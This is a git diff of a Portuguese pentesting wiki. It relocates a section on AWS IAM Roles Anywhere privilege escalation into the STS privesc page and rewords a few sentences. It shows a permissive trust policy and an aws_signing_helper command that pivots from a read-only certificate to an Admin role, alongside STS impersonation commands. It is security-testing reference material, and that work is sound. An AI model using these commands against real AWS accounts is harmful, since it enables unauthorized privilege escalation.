diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md deleted file mode 100644 index b88658fb1..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md +++ /dev/null @@ -1,42 +0,0 @@ -# AWS - IAM Roles Anywhere Privesc - -{{#include ../../../../banners/hacktricks-training.md}} - -AWS IAM RolesAnywhere permite que cargas de trabalho fora da AWS assumam funções IAM usando certificados X.509. Mas quando as políticas de confiança não são adequadamente definidas, elas podem ser abusadas para escalonamento de privilégios. - -Esta política carece de restrições sobre quais âncoras de confiança ou atributos de certificado são permitidos. Como resultado, qualquer certificado vinculado a qualquer âncora de confiança na conta pode ser usado para assumir esta função. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Service": "rolesanywhere.amazonaws.com" -}, -"Action": [ -"sts:AssumeRole", -"sts:SetSourceIdentity", -"sts:TagSession" -] -} -] -} - -``` -Para privesc, o `aws_signing_helper` é necessário de https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html - -Então, usando um certificado válido, o atacante pode pivotar para o papel de maior privilégio. -```bash -aws_signing_helper credential-process \ ---certificate readonly.pem \ ---private-key readonly.key \ ---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ ---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ ---role-arn arn:aws:iam::123456789012:role/Admin -``` -### Referências - -- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/ - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 57907760d..1c0f4b587 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -35,11 +35,11 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ### **`sts:GetFederationToken`** -Com esta permissão, é possível gerar credenciais para se passar por qualquer usuário: +Com essa permissão, é possível gerar credenciais para se passar por qualquer usuário: ```bash aws sts get-federation-token --name ``` -É assim que essa permissão pode ser concedida de forma segura, sem dar acesso para se passar por outros usuários: +É assim que essa permissão pode ser concedida de forma segura, sem dar acesso para impersonar outros usuários: ```json { "Version": "2012-10-17", @@ -78,7 +78,7 @@ Um exemplo de uma política de confiança com esta permissão é: ] } ``` -Para gerar credenciais para impersonar a função, você poderia usar algo como: +Para gerar credenciais para impersonar a função, em geral, você poderia usar algo como: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` @@ -103,4 +103,43 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ ../aws-basic-information/aws-federation-abuse.md {{#endref}} +### Privesc do IAM Roles Anywhere + +AWS IAM RolesAnywhere permite que cargas de trabalho fora da AWS assumam funções IAM usando certificados X.509. Mas quando as políticas de confiança não são adequadamente definidas, elas podem ser abusadas para escalonamento de privilégios. + +Esta política não possui restrições sobre quais âncoras de confiança ou atributos de certificado são permitidos. Como resultado, qualquer certificado vinculado a qualquer âncora de confiança na conta pode ser usado para assumir esta função. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Para privesc, o `aws_signing_helper` é necessário de https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html + +Então, usando um certificado válido, o atacante pode pivotar para o papel de maior privilégio. +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +### Referências + +- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) + {{#include ../../../banners/hacktricks-training.md}}